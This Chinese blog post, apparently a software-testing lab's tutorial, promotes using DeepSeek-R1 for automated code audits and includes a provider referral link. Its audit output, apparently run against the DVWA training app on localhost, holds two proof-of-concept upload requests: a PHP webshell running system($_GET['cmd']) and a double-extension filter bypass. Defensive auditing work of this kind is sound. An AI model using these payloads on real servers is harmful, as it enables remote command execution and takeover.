當前,AI大模型領域最受矚目的非DeepSeek莫屬,該大模型在數學、代碼、自然語言推理等任務上性能對標 OpenAI o1 正式版。該模型已迅速被各大集團公司、國家超級計算機平臺、部分地方政府部門以及AI同行廣泛接入,顯著提升了各領域的工作效率。為了進一步提高模型輸出答案的準確性,DeepSeek推出了創新的DeepSeek-R1推理模型。該模型在生成最終回答前,會先輸出一段詳細的思維鏈內容,這一獨特設計使其在GitHub開源平臺上迅速吸引了77.2k(這個數值每天都在迅速增加中)的關注者,成為業界焦點。
在軟件測試行業,我們也積極跟進技術前沿,各大軟件質量團隊紛紛引入DeepSeek,以提升軟件產品的質量。借助DeepSeek-R1模型的“深度思考”和“準確推理”等顯著優勢,我們能夠更加精準地定位軟件或源代碼中那些隱蔽且難以察覺的軟件缺陷(Bug)。以我們近期測試的一套CMS系統為例,通過運用DeepSeek大模型對其源代碼進行深入的安全漏洞檢測(代碼審計),我們不僅成功識別出了潛在的安全漏洞,還順利獲取了該CMS系統的控制權,充分展示了DeepSeek在軟件測試領域的強大能力。
由于DeepSeek訪問量較大,推理模型回復時經常出現“服務器繁忙,請稍后再試”的問題,穩定性較差。我們使用了派歐算力云提供的DeepSeek的API接口,滿足本次代碼審計的穩定要求。不過其他第三方的API可以考慮阿里云、騰訊云、硅基流動、字節火山等。
注冊并登陸派歐算力云獲取api key,使用以下URL注冊雙方各得¥50元代金劵。
https://ppinfra.com/user/register?invited_by=11QX33
基礎環境安裝
Python版本:Pyrhon3.8.8
安裝openai:pip3 install 'openai>=1.0.0'
DeepSeek代碼審計腳本:關注公眾號(軟件測評實驗室),或通過官網:http://m.fuxihongmi.com 掃描首頁右下角的二維碼或者公眾號,公眾號回復 "DeepSeek代碼審計" 獲取項目完整代碼下載地址,再次感謝Mr.Robot同學的技術分享。
配置API Key和模型
main.py中配置api 接口以及 api key 信息,在派歐算力云平臺https://ppinfra.com/settings/key-management創建API Key
api_client.py中調用模型的model和role,model也可以使用deepseek/deepseek-r1/community
配置DeepSeek模型問答信息
audit_logic.py中配置需要大模型要做的需求信息,根據需要自行修改。
配置要掃描的代碼文件格式
file_processor.py中可以根據實際情況設置掃描的文件后綴,以及跳過掃描的目錄。
DeepSeek代碼審計實戰
DeepSeek代碼審計深度思考信息
好的,我現在需要分析這個上傳漏洞的代碼,找出可能存在的高危漏洞。首先,看到這個index.php文件,它根據cookie中的security級別來包含不同的處理文件,比如low.php、medium.php、high.php或者impossible.php。這說明不同安全級別下,上傳的處理邏輯可能不同,可能存在不同的漏洞。 首先,我需要考慮當security級別為low時的情況。通常,在低安全級別下,可能沒有足夠的文件類型檢查,導致可以上傳任意文件,比如PHP腳本,從而執行惡意代碼。查看low.php的代碼可能會有簡單的檢查,比如只檢查Content-Type或者文件擴展名,但這些都可以被繞過。 假設在low.php中,服務器僅檢查上傳文件的MIME類型是否為image/jpeg或image/png,或者只檢查文件擴展名是否為圖片格式。這時候,攻擊者可以修改文件擴展名,或者在請求中偽造Content-Type,上傳一個含有惡意代碼的PHP文件。例如,將shell.php的文件名改為shell.jpg.php,或者直接上傳.php文件并設置Content-Type為image/jpeg,從而繞過檢查。 接下來,驗證這個漏洞是否存在。構造一個HTTP請求,上傳一個PHP文件,比如: <?php echo system($_GET['cmd']); ?> 然后,在請求中設置正確的Content-Type,比如image/jpeg,并觀察服務器是否接受該文件。如果上傳成功,并且返回了文件路徑,訪問該路徑即可執行任意命令,證明存在高危漏洞。 另外,在medium或high安全級別下,可能有更嚴格的檢查,比如檢查文件頭或者使用getimagesize()函數,但需要具體看對應的處理代碼。不過根據當前提供的index.php代碼,無法直接看到這些處理邏輯,所以需要假設在低安全級別下存在漏洞。 總結,高危漏洞可能存在于低安全級別的文件上傳處理中,允許上傳惡意PHP文件導致遠程代碼執行。
發現“不安全的文件上傳導致遠程代碼執行”漏洞
發現“不安全的文件上傳導致遠程代碼執行”漏洞,風險等級:高危,同時DeepSeek按照我的要求給出了驗證POC,按照操作代碼拿到用戶權限。
### [不安全的文件上傳導致遠程代碼執行] - 風險等級:高危 - 位置:/codeaudit/xxx/xxx/upload/source/low.php(假設低安全級別未做有效過濾) - 描述:當安全級別設置為low時,服務端未對上傳文件進行有效類型校驗,允許上傳.php等可執行文件,攻擊者可上傳webshell獲取服務器控制權 - 驗證POC: POST /xxx/xxx/upload/ HTTP/1.1 Host: localhost Cookie: security=low; PHPSESSID=your_session_id Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: image/jpeg <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryABC123-- 成功上傳后訪問:`http://localhost/xxxx/hackable/uploads/shell.php?cmd=id`,將執行系統命令返回當前用戶權限信息
發現“文件類型校驗繞過”漏洞
發現“文件類型校驗繞過”,風險等級:高危,同時DeepSeek按照我的要求給出了驗證POC,通過雙擴展名.png.php繞過基礎過濾,上傳成功后訪問.php文件將觸發phpinfo信息泄露。
### [文件類型校驗繞過] - 風險等級:高危 - 位置:同上 - 描述:服務端僅檢查Content-Type頭或簡單擴展名過濾,可通過修改請求包偽造合法類型上傳惡意文件 - 驗證POC: POST /xxx/xxx/upload/ HTTP/1.1 Host: localhost Cookie: security=low; PHPSESSID=your_session_id Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ789 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="uploaded"; filename="image.png.php" Content-Type: image/png <?php phpinfo(); ?> ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryXYZ789-- 通過雙擴展名.png.php繞過基礎過濾,上傳成功后訪問.php文件將觸發phpinfo信息泄露
代碼審計完成
審計完成后,會在當前目錄下自動生成MarkDown結果文件security_audit_report.md,為了更好的閱讀體驗建議使用Typora工具打開。
審計完成!報告已保存至:security_audit_report.md
本次代碼審計工作中,我們采用了DeepSeek推理模型,顯著提升了軟件測試結果的準確性,進一步驗證了AI大模型的強大能力。該模型不僅大幅提高了測試工作的效率和精準度,還有效彌補了軟件測試工程師在某些方面的不足,從而全面提升了軟件測試的覆蓋率。